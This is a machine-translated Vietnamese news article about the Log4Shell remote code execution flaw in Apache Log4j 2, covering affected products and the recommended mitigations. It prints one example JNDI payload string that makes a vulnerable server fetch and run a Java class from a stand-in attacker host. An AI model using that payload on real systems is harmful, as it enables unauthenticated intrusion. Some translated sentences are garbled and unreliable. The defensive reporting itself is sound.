Log4Shell, một lỗ hổng nghiêm trọng trong Apache Log4j 2 ảnh hưởng đến nhiều dự án Java

Gần đây se đã đưa ra tin tức rằng một lỗ hổng nghiêm trọng đã được xác định trong Apache Log4j 2, được đặc trưng như một khuôn khổ phổ biến để tổ chức sổ đăng ký trong các ứng dụng Java, cho phép mã tùy ý được thực thi khi một giá trị có định dạng đặc biệt được ghi vào sổ đăng ký ở định dạng "{jndi: URL}".

Lỗ hổng Điều đáng chú ý là vì cuộc tấn công có thể được thực hiện trong các ứng dụng JavaChúng ghi lại các giá trị thu được từ các nguồn bên ngoài, ví dụ bằng cách hiển thị các giá trị có vấn đề trong thông báo lỗi.

Người ta quan sát thấy rằng hầu như tất cả các dự án sử dụng các khung như Apache Struts, Apache Solr, Apache Druid hoặc Apache Flink đều bị ảnh hưởng, bao gồm máy khách và máy chủ Steam, Apple iCloud, Minecraft.

Lỗ hổng này dự kiến ​​sẽ dẫn đến một làn sóng tấn công lớn vào các ứng dụng doanh nghiệp, lặp lại lịch sử của các lỗ hổng nghiêm trọng trong khuôn khổ Apache Struts, đây là một ước tính sơ bộ được sử dụng trong 65% ứng dụng web của Fortune 100. Các ứng dụng web của công ty đã bao gồm. đã ghi lại các nỗ lực quét mạng để tìm các hệ thống dễ bị tấn công.

Lỗ hổng cho phép thực thi từ xa mã chưa được xác thực. Log4j 2 là một thư viện nhật ký Java mã nguồn mở được phát triển bởi Apache Foundation. Log4j 2 được sử dụng rộng rãi trong nhiều ứng dụng và hiện diện, như một phần phụ thuộc, trong nhiều dịch vụ. Chúng bao gồm các ứng dụng kinh doanh cũng như nhiều dịch vụ đám mây.

Nhóm tấn công Randori đã phát triển một khai thác chức năng và đã có thể khai thác thành công lỗ hổng này trong môi trường khách hàng như một phần của nền tảng bảo mật tấn công của chúng tôi. 

Lỗ hổng có thể được truy cập thông qua vô số phương pháp dành riêng cho ứng dụng. Thật vậy, bất kỳ kịch bản nào cho phép kết nối từ xa cung cấp dữ liệu tùy ý mà ứng dụng sử dụng thư viện Log4j ghi vào tệp nhật ký đều dễ bị khai thác. Lỗ hổng này rất có thể bị khai thác trong tự nhiên và có khả năng ảnh hưởng đến hàng nghìn tổ chức. Lỗ hổng này thể hiện một rủi ro thực sự đáng kể đối với các hệ thống bị ảnh hưởng.

Vấn đề phức tạp bởi thực tế là một khai thác chức năng đã được xuất bản, ví dụ:Nhưng các bản sửa lỗi cho các nhánh ổn định vẫn chưa được tạo. Số nhận dạng CVE chưa được chỉ định. Giải pháp chỉ được đưa vào nhánh kiểm tra log4j-2.15.0-rc1. Để chặn lỗ hổng bảo mật, bạn nên đặt tham số Log4j2.formatMsgNoLookups thành true.

Vấn đề đó là do Log4j 2 hỗ trợ việc xử lý các mặt nạ đặc biệt «{}» trong các dòng nhật ký, trong đó Các truy vấn JNDI có thể được chạy (Đặt tên và giao diện thư mục Java).

Khi phân tích CVE-2021-44228, Randori đã xác định được những điều sau:

Các cài đặt mặc định của phần mềm kinh doanh được sử dụng rộng rãi rất dễ bị tấn công.
Lỗ hổng bảo mật có thể được khai thác một cách đáng tin cậy và không cần xác thực.
Lỗ hổng bảo mật ảnh hưởng đến nhiều phiên bản của Log4j 2.
Lỗ hổng cho phép thực thi mã từ xa khi người dùng chạy ứng dụng bằng thư viện.

Cuộc tấn công kết thúc bằng việc chuyển một chuỗi có thay thế "$ {jndi: ldap: //example.com/a}", xử lý Log4j 2 sẽ gửi yêu cầu LDAP cho đường dẫn đến lớp Java tới máy chủ attacker.com . Đường dẫn do máy chủ của kẻ tấn công trả về (ví dụ: http://example.com/Exploit.class) sẽ được tải và thực thi trong ngữ cảnh của quy trình hiện tại, cho phép kẻ tấn công thực hiện mã tùy ý trên hệ thống với các quyền. của ứng dụng hiện tại.

Cuối cùng, nó được đề cập rằng nếu bất thường được tìm thấy, bạn nên cho rằng đây là một sự cố đang diễn ra, rằng nó đã bị xâm phạm và phản hồi tương ứng. Nâng cấp lên các phiên bản vá lỗi của Log4j 2 hoặc các ứng dụng bị ảnh hưởng sẽ loại bỏ lỗ hổng này. Randori khuyến nghị bất kỳ tổ chức nào mà họ cho rằng có thể bị ảnh hưởng nên khẩn cấp nâng cấp lên phiên bản vá lỗi.

Trong bản cập nhật mới nhất từ ​​nhóm Apache Log4j, khuyến nghị các tổ chức làm những điều sau

  • Cập nhật lên Log4j 2.15.0
  • Đối với những người không thể nâng cấp lên 2.15.0: Trong các phiên bản> = 2.10, lỗ hổng bảo mật này có thể được giảm thiểu bằng cách đặt thuộc tính hệ thống log4j2.formatMsgNoLookup hoặc biến môi trường LOG4J_FORMAT_MSG_NO_LOOKUPS thành true.
  • Đối với các phiên bản 2,0-beta9 đến 2.10.0, biện pháp giảm thiểu là xóa lớp JndiLookup khỏi classpath: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.

Fuente: https://www.lunasec.io/


Để lại bình luận của bạn

địa chỉ email của bạn sẽ không được công bố. Các trường bắt buộc được đánh dấu bằng *

*

*

  1. Chịu trách nhiệm về dữ liệu: Miguel Ángel Gatón
  2. Mục đích của dữ liệu: Kiểm soát SPAM, quản lý bình luận.
  3. Hợp pháp: Sự đồng ý của bạn
  4. Truyền thông dữ liệu: Dữ liệu sẽ không được thông báo cho các bên thứ ba trừ khi có nghĩa vụ pháp lý.
  5. Lưu trữ dữ liệu: Cơ sở dữ liệu do Occentus Networks (EU) lưu trữ
  6. Quyền: Bất cứ lúc nào bạn có thể giới hạn, khôi phục và xóa thông tin của mình.